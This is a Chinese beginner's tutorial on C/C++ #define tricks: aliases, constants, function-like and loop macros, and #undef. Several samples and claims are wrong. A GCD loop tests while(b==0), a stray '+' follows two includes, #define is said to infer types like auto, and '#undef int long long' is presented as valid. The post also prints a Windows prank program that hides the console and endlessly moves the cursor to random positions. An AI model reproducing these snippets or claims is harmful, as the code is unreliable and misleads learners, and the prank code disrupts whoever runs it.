浅谈C++/C关于#define的那些奇奇怪怪的用法

目录

• 前言
• 1 缩减代码
• 2 定义变量
• 3 代替函数
• 4 函数做不到的功能
• 5 一些有些"邪门"的用法
• 6 与#define有关联的带“#”号指令

前言

众所周知，#define(也就是宏定义)在C++/C里用处很广泛。对于一个萌新小白来说，宏定义有以下几种用法：

1 缩减代码

第一种用法与typedef类似，而且比typedef应用得更广泛。举个例子，在以下C++程序中，unsigned int出现的实在是太多了。

#include<bits/stdc++.h>
using namespace std;
unsigned int n;
int main()
{
    cin>>n;
    for(unsigned int i=0;i<n;i++)
    {
        unsigned int a,b;
          cin>>a>>b;
          while(b==0)
          {
              unsigned int r=a%b;
              a=b;b=r;
        }
        cout<<a<<endl;
    }
    return 0;
}

那该怎么办呢？其实只需要加一行这样的代码，然后再把unsigned int改成ui就可以了。

#define ui unsigned int

这样的话程序就简短了很多。

#include<bits/stdc++.h>
#define ui unsigned int
//也可以写作typedef unsigned int ui
using namespace std;
ui n;
int main()
{
    cin>>n;
    for(ui i=0;i<n;i++)
    {
        ui a,b;
          cin>>a>>b;
          while(b==0)
          {
              ui r=a%b;
              a=b;b=r;
        }
        cout<<a<<endl;
    }
    return 0;
}

2 定义变量

第二种用法与const auto(不一定是int)相似。当我们想写一段这样的代码时，我们可以用const int写以避免重复出现100005：

#include<bits/stdc++.h>
using namespace std;
const int N=100005;
int a[N],b[N],c[N],ans[N];
int main()
{
    int n;
    cin>>n;
    for(int i=0;i<n;i++) cin>>a[i]>>b[i]>>c[i];
    for(int i=0;i<n;i++) ans[i]=a[i]+b[i]-c[i];
    for(int i=0;i<n;i++) cout<<ans[i]<<' ';
    return 0;
}

#define也有这个功能。它可以根据赋的“值”(不一定是值)判断改用哪种数据类型(这里就不细讲了)，与auto的功能相似。因此，我们也可以这样写：

#include<bits/stdc++.h>+
#define N 100005//会根据后面的量以决定数据类型
using namespace std;
int a[N],b[N],c[N],ans[N];
int main()
{
    int n;
    cin>>n;
    for(int i=0;i<n;i++) cin>>a[i]>>b[i]>>c[i];
    for(int i=0;i<n;i++) ans[i]=a[i]+b[i]-c[i];
    for(int i=0;i<n;i++) cout<<ans[i]<<' ';
    return 0;
}

以下是#define的基础用法。其实，#define还有一些其他功能。

3 代替函数

以以下程序为例，在输出环节多次出现了同一行代码。那该怎么办呢？

#include<bits/stdc++.h>
using namespace std;
multiset<int>s;int n,m;
multiset<int>::iterator it,ie;
int main()
{
    cin>>n;
    for(int i=1;i<=n;i++)
    {
        cin>>m;
        s.insert(m);
    }
    for(it=s.begin();it!=s.end();it++)
    {
        if(it!=s.begin())
        {if(*it!=*ie) cout<<*it<<' '<<s.count(*it)<<endl;}
        else cout<<*it<<' '<<s.count(*it)<<endl;
        ie=it;
    }
    return 0;
}

我们可以写一个输出函数。这样的话程序就变成了这个样子：

#include<bits/stdc++.h>
using namespace std;
multiset<int>s;int n,m;
multiset<int>::iterator it,ie;
void sc(multiset<int>::iterator a)
{cout<<*a<<' '<<s.count(*a)<<endl;}
int main()
{
    cin>>n;
    for(int i=1;i<=n;i++)
    {
        cin>>m;
        s.insert(m);
    }
    for(it=s.begin();it!=s.end();it++)
    {
        if(it!=s.begin())
        {if(*it!=*ie) sc(it);}
        else sc(it);
        ie=it;
    }
    return 0;
}

同时我们也可以用#define对程序进行再一次优化(这是typedef做不到的)。这样的话程序代码就会大大缩减。

#include<bits/stdc++.h>
#define tor multiset<int>::iterator
#define mi multiset<int>
using namespace std;
mi s;int n,m;tor it,ie;
void sc(tor a)
{cout<<*a<<' '<<s.count(*a)<<endl;}
int main()
{
    cin>>n;
    for(int i=1;i<=n;i++)
    {
        cin>>m;
        s.insert(m);
    }
    for(it=s.begin();it!=s.end();it++)
    {
        if(it!=s.begin())
        {if(*it!=*ie) sc(it);}
        else sc(it);
        ie=it;
    }
    return 0;
}

但其实输出函数那一部分也可以用#define做。可以用#define这样写输出函数：

#define sc(a) cout<<*a<<' '<<s.count(*a)<<endl;//不需要tor,否则会报错

可以发现，这里的功能是不需要tor的。所以可以发现，这个功能是第二个功能的衍生功能。总结一下，就是#define可以代替一些简单函数。

4 函数做不到的功能

同时，#define也可以做到一些函数做不到的功能。比如说，前面这段程序还可以继续简化成这样：

#include<bits/stdc++.h>+
#define N 100005
#define go(n) for(int i=0;i<n;i++)
using namespace std;
int a[N],b[N],c[N],ans[N];
int main()
{
    int n;
    cin>>n;
    go(n) cin>>a[i]>>b[i]>>c[i];
    go(n) ans[i]=a[i]+b[i]-c[i];
    go(n) cout<<ans[i]<<' ';
    return 0;
}

那这是为什么呢？因为#define还可以用来代替重复出现多次的代码。

运用这个方法，我们可以用C语言写以下程序：

#include<stdio.h>
#define N 100005
#define go(n) for(int i=0;i<n;i++)
int a[N],n,b[N];
int main()
{
    scanf("%d",&n);
    go(n) scanf("%d",&a[i]);
    go(n)
    {
        if(i==0) b[i]=a[i]+a[n-1];
        else b[i]=a[i]+a[i-1];
        printf("%d ",b[i]);
    }
    return 0;
}

而且这个程序还能通过编译！所以#define是可以套循环的。

同时我们还可以用#define写一个forever(Scratch上死循环的英文)：

#define forever() for(int i=0;;i++)

或者这样写forever：

#define forever(i) for(i=0;;i++)

这样写死循环时就便利多了(话说while(1>0)它不香吗)。

5 一些有些"邪门"的用法

那#define既然那么好用，那有没有一些邪门点的用法？当然有。

比如说以下这一段C语言程序就把"邪门"二字刻在了脑门上：

#include<stdio.h>
#define forever(i,j) for(int i=0;;i++)
int I,love,you;
void dear(int d,int s,int x)
{
    forever(s,x) dear(d,s,x);
}
int main()
{
    scanf("%d%d%d",&I,&love,&you);
    forever(love,you)    dear(I,love,you);
}

不说递归加循环把程序卡死，这变量用的也太阴间了吧！这还是C语言程序？(看来这才是forever的真正用法。)

好了，回到正题。那能不能用#define对#include进行缩减？这里以下方的C++程序为例。

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void HideScreen()
{
    HWND hwnd;
    hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow(hwnd,SW_HIDE);
    return;
}//千万别试！
int main()
{
    HideScreen();
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    for(int i=0;;i++){SetCursorPos(rand()%y,rand()%x);}
    return 0;
}

在这个程序中，我们是否能在第二行添加#define语句来缩减#include<windows.h>?很可惜，这通不过编译。C++/C语言的#define是不可以对带"#"号的指令进行宏定义的。

6 与#define有关联的带“#”号指令

如果你写了那么一个程序，然后想把程序里的int和long long统一，那该怎么办(虽然这样做对程序没有影响)？是把long long全部改成int吗?可这样太麻烦了。

#include<bits/stdc++.h>
#define int long long
#define N 100001
using namespace std;
int m,n,ans,cnt=0,sum=0,li,lj,ri,rj,a[250][250];
void dg(int i,int j)
{
       if(i<li)  li=i;
       if(j<lj)  lj=j;
       if(i>ri)  ri=i;
       if(j>rj)  rj=j;
       ans++;a[i][j]=0;
       if(a[i][j-1]==1)  dg(i,j-1);
       if(a[i][j+1]==1)  dg(i,j+1);
       if(a[i-1][j]==1)  dg(i-1,j);
       if(a[i+1][j]==1)  dg(i+1,j);
}
void cdr(long long n,long long m)
{
    memset(a,-1,sizeof(a));
    char c;
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
            cin>>c;
            if(c=='#')  a[i][j]=1;
        }
    }
}
int main()
{
    cin>>n>>m;
    cdr(n,m);
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
          if(a[i][j]==1)
          {
            li=ri=i;lj=rj=j;
            ans=0;dg(i,j);
            if((ri-li+1)*(rj-lj+1)==ans)  cnt++;
            else sum++;
          }
        }
    }
    cout<<cnt<<endl<<sum;
    return 0;
}

其实，你只需要在函数cdr前面加一句代码就行了：

#undef int long long

加上代码后话程序就变成了这样：

#include<bits/stdc++.h>
#define int long long
#define N 100001
using namespace std;
int m,n,ans,cnt=0,sum=0,li,lj,ri,rj,a[250][250];
void dg(int i,int j)
{
       if(i<li)  li=i;
       if(j<lj)  lj=j;
       if(i>ri)  ri=i;
       if(j>rj)  rj=j;
       ans++;a[i][j]=0;
       if(a[i][j-1]==1)  dg(i,j-1);
       if(a[i][j+1]==1)  dg(i,j+1);
       if(a[i-1][j]==1)  dg(i-1,j);
       if(a[i+1][j]==1)  dg(i+1,j);
}
#undef int long long
void cdr(long long n,long long m)
{
    memset(a,-1,sizeof(a));
    char c;
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
            cin>>c;
            if(c=='#')  a[i][j]=1;
        }
    }
}
int main()
{
    cin>>n>>m;
    cdr(n,m);
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
          if(a[i][j]==1)
          {
            li=ri=i;lj=rj=j;
            ans=0;dg(i,j);
            if((ri-li+1)*(rj-lj+1)==ans)  cnt++;
            else sum++;
          }
        }
    }
    cout<<cnt<<endl<<sum;
    return 0;
}

这便是C/C++中的#undef指令。这样的话，这行代码后面的long long还是用long long表示，与前面的int等价。

另外，C/C++还有#ifdef，#ifndef，#elif，#if，#endif，#if……#else，#error等与宏定义有关的指令可以供您使用，但入门阶段只需要知道#define就行了。

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